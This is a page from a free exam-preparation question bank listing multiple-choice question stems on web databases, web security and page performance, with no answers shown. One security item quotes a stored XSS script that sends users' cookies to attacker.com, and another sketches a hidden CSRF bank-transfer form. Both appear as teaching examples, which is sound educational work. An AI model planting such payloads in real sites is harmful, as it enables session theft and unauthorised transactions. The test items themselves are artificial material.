Independent Preparation Bank for Pakistani Computing Graduates • 100% Free • No Signup
NSCTPrep.
Home/Subjects/Web Development/Databases for Web Applications
Web DevelopmentTopic #5 of 539 MCQs Available

Databases for Web Applications

Comprehensive question bank, step-by-step rationales, and dedicated timed quiz for Databases for Web Applications.

Launch Quiz Mode ↗

Databases for Web Applications Question Bank

Showing 39 questions of 39 with verified answers

5Multiple Choice

(Code/Logic) In a Node.js application, which library is typically used as an ORM/Query builder for interacting with MongoDB?

6Multiple Choice

(Conceptual) What does the term "Eventual Consistency" mean in the context of a distributed web database?

7Multiple Choice

(Scenario-Based) Which database design pattern is used to handle "One-to-Many" relationships (e.g., One User has Many Posts) in a Document-store (MongoDB)?

8Multiple Choice

(Conceptual) What is the purpose of a Database Migration script?

9Multiple Choice

(Comparison) Compare a Document-Oriented Database to a Relational Database regarding Schema.

10Multiple Choice

(Conceptual) What is the "N+1" problem in web application database fetching?

11Multiple Choice

(Conceptual) Why is it dangerous to expose database Error Messages (e.g., "Table 'Users' not found in schema 'X'") to the end-user?

12Multiple Choice

(Scenario-Based) A web app needs a "Search" feature to look for keywords inside long text blocks (like blog post bodies). Which DB feature is recommended?

13Multiple Choice

(Code-Tracing) A developer is writing a NoSQL query using $match and $group. Which database technology is this?

14Multiple Choice

(Conceptual) What is Sharding in web databases?

15Multiple Choice

(Comparison) What is the main security advantage of using a Database View for web apps?

1Multiple Choice

(Scenario-Based) A forum website allows users to post comments. An attacker posts <script>fetch('https://attacker.com/steal? cookie='+document.cookie)</script>. When other users view this comment, their browser executes the script. Which attack is this?

2Multiple Choice

(Conceptual) What is the primary purpose of the Content Security Policy (CSP) header?

3Multiple Choice

(Scenario-Based) A user is logged into their bank account. They visit a malicious site that has a hidden form: <form action="bank.com/transfer"><input type="hidden" value="attacker_acc">.... The browser automatically attaches the user's bank session cookie, and the transfer occurs without the user knowing. This is:

4Multiple Choice

(Code-Tracing) The developer uses this line in an Express.js app. What security risk does it mitigate?

5Multiple Choice

(Conceptual) What is the "Same-Origin Policy" (SOP) in browsers?

6Multiple Choice

(Scenario-Based) Why is JSONP considered a deprecated/insecure way to handle cross-domain data?

7Multiple Choice

(Conceptual) What is Clickjacking?

8Multiple Choice

(Scenario-Based) You are validating user input in a text field. Which is the safest approach?

9Multiple Choice

(Comparison) What is a CSRF Token?

10Multiple Choice

(Conceptual) Why should you set the Secure flag on session cookies?

11Multiple Choice

(Conceptual) What is the Principle of Least Privilege in a web backend context?

12Multiple Choice

(Scenario-Based) An attacker performs "Credential Stuffing". How does it work?

13Multiple Choice

(Comparison) How do Client-Side Validation and Server-Side Validation differ?

14Multiple Choice

(Conceptual) What does "Input Sanitization" actually mean?

15Multiple Choice

(Code/Logic) In the context of a web API, what is a Rate Limiting strategy? middleware.js if (requestCount > 100) { return res.status(429).send('Too Many Requests');

16Multiple Choice

(Conceptual) What is Directory Traversal (or Path Traversal)?

17Multiple Choice

(Scenario-Based) You have an API that returns Access-Control-Allow-Origin: . What are you allowing?

18Multiple Choice

(Conceptual) What is the main security risk of the eval() function in JavaScript?

19Multiple Choice

(Conceptual) What is the primary purpose of a Web Application Firewall (WAF)?

20Multiple Choice

(Conceptual) Why is "HTTPS-only" recommended for modern web apps?

1Multiple Choice

(Scenario-Based) You notice that when your page loads, the text shifts downward suddenly because an image above it loaded 2 seconds later. Which Core Web Vital does this negatively impact?

2Multiple Choice

(Conceptual) What is the main benefit of Minifying your JavaScript and CSS files?

3Multiple Choice

(Code-Tracing) A script tag is placed at the end of the <body>. How does this compare to using <script defer> in the <head>?

4Multiple Choice

(Scenario-Based) An e-commerce site hosts its static images on a server in Tokyo. Users in London experience high latency. What architectural solution solves this?

5Multiple Choice

(Conceptual) What does Lazy Loading mean?

6Multiple Choice

(Code/Logic) The browser is trying to execute a script. Why does the code below likely slow down the page render?

7Multiple Choice

(Conceptual) Which HTTP 1.1 limitation is solved by Domain Sharding (an older, hacky trick for performance)?

8Multiple Choice

(Calculation/Comparison) A page uses 3 high-res images (5MB each). If we enable compression (e.g., Brotli/Gzip), which metric is improved?